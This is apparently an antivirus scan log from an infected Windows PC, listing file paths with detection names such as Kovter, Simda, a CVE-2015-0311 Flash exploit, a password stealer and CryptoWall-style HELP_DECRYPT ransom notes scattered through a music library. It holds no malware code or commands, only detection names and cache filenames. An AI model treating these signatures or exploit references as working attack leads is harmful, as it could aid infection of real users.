C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_71[1].htm a variant of Win32/Injector.BVWD trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_71[3].htm a variant of Win32/Kryptik.DBBT trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_71[4].htm a variant of MSIL/Injector.IIL trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_75[1].htm a variant of Win32/Injector.BVZL trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_75[2].htm a variant of Win32/Kryptik.DBGK trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_75[3].htm a variant of Win32/Kryptik.DBGV trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_75[4].htm a variant of MSIL/Injector.ILS trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_75[5].htm a variant of Win32/Kryptik.DBGK trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_75[6].htm a variant of Win32/Kryptik.DBGK trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\95_215_60_75[7].htm Win32/Simda.B trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\d[1].txt Win32/Small.NJX trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\ie8910[1].htm JS/Exploit.Agent.NFC trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\logos[1].php Win32/Kovter.A trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\logos[2].php a variant of Win32/Kryptik.CIAQ trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\logos[3].php Win32/Kovter.A trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\nhgi[1].php JS/Exploit.Agent.NHM trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\IILPQS17\6cdt8jC2fI[1].exe Win32/Kovter.A trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\IILPQS17\co[1].htm HTML/Iframe.B.Gen virus 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\KG99TI1Y\logos[1].php Win32/Kovter.A trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\KG99TI1Y\T0hYkHAEYK[1].exe Win32/Kovter.A trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\QPZN6M51\oVx9hAn5Ja[1].exe Win32/Kovter.A trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\dd[1] Win32/TrojanDownloader.Small.AFA trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\dd[2] Win32/TrojanDownloader.Small.AFA trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\d[1].txt Win32/Small.NJX trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\F8zDlYv5Ds[1].exe a variant of Win32/Injector.BFVS trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\hidecounter2[1].htm JS/Kryptik.ARR trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\ie8910[1].htm JS/Exploit.Agent.NFC trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\ie8910[2].htm JS/Exploit.Agent.NFC trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\ie8910[3].htm JS/Exploit.Agent.NFC trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\logos[1].php Win32/Kovter.A trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\logos[2].php Win32/Kovter.A trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\logos[3].php a variant of Win32/Kryptik.CKZD trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\nki451e7z1[1].htm JS/Exploit.Agent.NHK trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R82ZI0UU\rKU7Tfxgc8[1].exe a variant of Win32/Injector.BESZ trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\188_138_68_69[3].htm Win32/Simda.B trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\95_215_60_69[1].htm a variant of Win32/Injector.BVWI trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\95_215_60_69[3].htm a variant of MSIL/Injector.IGS trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\95_215_60_69[6].htm Win32/Simda.B trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\95_215_60_69[7].htm a variant of Win32/Injector.BVWI trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\95_215_60_72[1].htm a variant of Win32/Injector.BVWO trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\95_215_60_72[3].htm a variant of Win32/Kryptik.DBKS trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\95_215_60_72[6].htm Win32/Simda.B trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\9ne5fa1np1[1].htm JS/Exploit.Agent.NHG trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\bc3fspxe0t[1].htm JS/Exploit.Agent.NHG trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\dd[1] Win32/TrojanDownloader.Small.AFA trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\ie8910[1].htm JS/Exploit.Agent.NFC trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\ie8910[2].htm JS/Exploit.Agent.NFC trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\ktlypjs[1].php JS/Exploit.Agent.NHM trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\logos[1].php Win32/Kovter.A trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\logos[2].php Win32/Kovter.A trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\logos[3].php a variant of Win32/Kryptik.CJDB trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\pagbkmumt9[1].htm JS/Exploit.Agent.NHG trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\zrkej[1].php JS/Exploit.Agent.NHM trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\zrkej[2].php JS/Exploit.Agent.NHM trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S37SOCGT\zrkej[3].php JS/Exploit.Agent.NHM trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XHEEILH6\01b0828fa489fd3d0f682d24ac050e89[1].htm JS/Exploit.Agent.NGD trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XHEEILH6\9SgYypAUMi[1].exe Win32/Kovter.A trojan 
C:\Users\Tim\AppData\Local\Temp\1438\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SD9YSWFM\nHhy6.exe Win32/Adware.FakeAV.T application 
C:\Users\Tim\AppData\Local\Temp\15a0\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\QTTZZ3LW\3820af3ab51554a877fb020c48fe8036[1].swf SWF/Exploit.CVE-2015-0311.I trojan 
C:\Users\Tim\AppData\Local\Temp\638c\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AGFCFFHP\46cbccc9b10886a4e71551c67a986fb3[1].htm JS/Exploit.Agent.NIX trojan 
C:\Users\Tim\AppData\Local\Temp\ac4\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0YE78E0B\banner[1].swf SWF/Iframe.P trojan 
C:\Users\Tim\AppData\Local\Temp\4681.tmp a variant of Win32/Injector.BVWD trojan 
C:\Users\Tim\AppData\Local\Temp\9ED0.tmp a variant of Win32/Kryptik.DBBT trojan 
C:\Users\Tim\AppData\Local\Temp\ADB0.tmp Win32/Redyms.AM trojan 
C:\Users\Tim\AppData\Local\Temp\DB42.tmp a variant of Win32/Agent.WFF trojan 
C:\Users\Tim\AppData\Local\Temp\E340.tmp Win32/Redyms.AM trojan 
C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Cookies\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Cookies\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\sessionstore-backups\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\sessionstore-backups\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\storage\permanent\moz-safe-about+home\idb\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\storage\permanent\moz-safe-about+home\idb\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\storage\permanent\moz-safe-about+home\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\storage\permanent\moz-safe-about+home\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\storage\permanent\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\storage\permanent\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\storage\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\storage\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Roaming\Mozilla\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Roaming\Mozilla\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\Users\Tim\Cookies\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\Users\Tim\Cookies\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\Users\Tim\Downloads\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\Users\Tim\Downloads\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\Users\Tim\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\Users\Tim\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\Users\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\Users\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\WN3X3RCE\flag[1].html HTML/Iframe.B.Gen virus 
C:\Windows\Temp\~013537A9.tmp Win32/PSW.Papras.DU trojan 
C:\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\1992 Countdown to Extinction\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\1992 Countdown to Extinction\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\1994 Youthanasia\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\1994 Youthanasia\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith - Classics Live! 1986 MP3 320Kbps - Th3 cRuc14L\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith - Classics Live! 1986 MP3 320Kbps - Th3 cRuc14L\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith - Live Albums\1987 - Classics Live II\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith - Live Albums\1987 - Classics Live II\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith - Live Albums\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith - Live Albums\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\Aerosmith - Aerosmith (1973)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\Aerosmith - Aerosmith (1973)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\Aerosmith - Draw The Line (1977)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\Aerosmith - Draw The Line (1977)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\Aerosmith - Gems (1988)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\Aerosmith - Gems (1988)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\Aerosmith - Get Your Wings (1974)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\Aerosmith - Get Your Wings (1974)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\Aerosmith - Honkin' On Bobo (2004)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\Aerosmith - Honkin' On Bobo (2004)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\Aerosmith - MTV Unplugged (1990)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\Aerosmith - MTV Unplugged (1990)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\Aerosmith - Permanent Vacation (1987)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\Aerosmith - Permanent Vacation (1987)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\Aerosmith - Rockin The Joint [Live At The Hard Rock Hotel Las Vegas] (2005)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\Aerosmith - Rockin The Joint [Live At The Hard Rock Hotel Las Vegas] (2005)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\Aerosmith - Rocks (1976)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\Aerosmith - Rocks (1976)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\Aerosmith - Toys In The Attic (1975)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\Aerosmith - Toys In The Attic (1975)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith 23 CD Discography Properly Tagged [VBR320] by vtwin88cube\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith Live Bootleg Bootleg 1978\Live Bootleg\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith Live Bootleg Bootleg 1978\Live Bootleg\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith Live Bootleg Bootleg 1978\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Aerosmith Live Bootleg Bootleg 1978\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\AFU-RA -=- State of the Arts -=- RAP 2005\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\AFU-RA -=- State of the Arts -=- RAP 2005\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Alice In Chains\Alice in Chains\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Alice In Chains\Alice in Chains\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Alice In Chains\Dirt\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Alice In Chains\Dirt\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Alice In Chains\Live\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Alice In Chains\Live\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Alice In Chains\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Alice In Chains\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Alice in Chains- Black Gives Way to Blue\Black Gives Way To Blue\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Alice in Chains- Black Gives Way to Blue\Black Gives Way To Blue\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Alice in Chains- Black Gives Way to Blue\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Alice in Chains- Black Gives Way to Blue\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\(1970) Black Sabbath\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\(1970) Black Sabbath\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\(1970) Paranoid\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\(1970) Paranoid\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\(1971) Master Of Reality\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\(1971) Master Of Reality\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\(1972) Black Sabbath, Vol. 4\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\(1972) Black Sabbath, Vol. 4\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\(1973) Sabbath Bloody Sabbath\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\(1973) Sabbath Bloody Sabbath\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\(1975) Sabotage\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\(1975) Sabotage\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\(1976) Technical Ecstacy\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\(1976) Technical Ecstacy\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\(1978) Never Say Die\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\(1978) Never Say Die\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\(1980) Heaven And Hell\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\(1980) Heaven And Hell\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\burn\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\burn\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath - We sold our soul for Rock'n'Roll\Disc Two\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath - We sold our soul for Rock'n'Roll\Disc Two\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath - We sold our soul for Rock'n'Roll\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Black Sabbath - We sold our soul for Rock'n'Roll\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Bob Seger Discography\1974-07-08\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Bob Seger Discography\1974-07-08\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Bob Seger Discography\Greatest Hits\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Bob Seger Discography\Greatest Hits\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Bob Seger Discography\Greatest Hits 2\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Bob Seger Discography\Greatest Hits 2\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Bob Seger Discography\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Bob Seger Discography\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Classic Beats\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Classic Beats\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Creedence Clearwater Revival - The Best of CCR\The Best of Creedence Clearwater Revival [Fantasy Canada] Disc 1\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Creedence Clearwater Revival - The Best of CCR\The Best of Creedence Clearwater Revival [Fantasy Canada] Disc 1\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Creedence Clearwater Revival - The Best of CCR\The Best of Creedence Clearwater Revival [Fantasy Canada] Disc 2\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Creedence Clearwater Revival - The Best of CCR\The Best of Creedence Clearwater Revival [Fantasy Canada] Disc 2\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Creedence Clearwater Revival - The Best of CCR\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Creedence Clearwater Revival - The Best of CCR\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Deep Purple - The Complete Albums 1970-76 [10 CD Box] (2013) [email protected] Beolab1700\Burn\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Deep Purple - The Complete Albums 1970-76 [10 CD Box] (2013) [email protected] Beolab1700\Burn\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Deep Purple - The Complete Albums 1970-76 [10 CD Box] (2013) [email protected] Beolab1700\CD1\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Deep Purple - The Complete Albums 1970-76 [10 CD Box] (2013) [email protected] Beolab1700\CD1\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Deep Purple - The Complete Albums 1970-76 [10 CD Box] (2013) [email protected] Beolab1700\CD10\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Deep Purple - The Complete Albums 1970-76 [10 CD Box] (2013) [email protected] Beolab1700\CD10\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Deep Purple - The Complete Albums 1970-76 [10 CD Box] (2013) [email protected] Beolab1700\Deep Purple In Rock\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Deep Purple - The Complete Albums 1970-76 [10 CD Box] (2013) [email protected] Beolab1700\Deep Purple In Rock\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Deep Purple - The Complete Albums 1970-76 [10 CD Box] (2013) [email protected] Beolab1700\Fireball\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Deep Purple - The Complete Albums 1970-76 [10 CD Box] (2013) [email protected] Beolab1700\Fireball\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Deep Purple - The Complete Albums 1970-76 [10 CD Box] (2013) [email protected] Beolab1700\Machine Head\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Deep Purple - The Complete Albums 1970-76 [10 CD Box] (2013) [email protected] Beolab1700\Machine Head\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
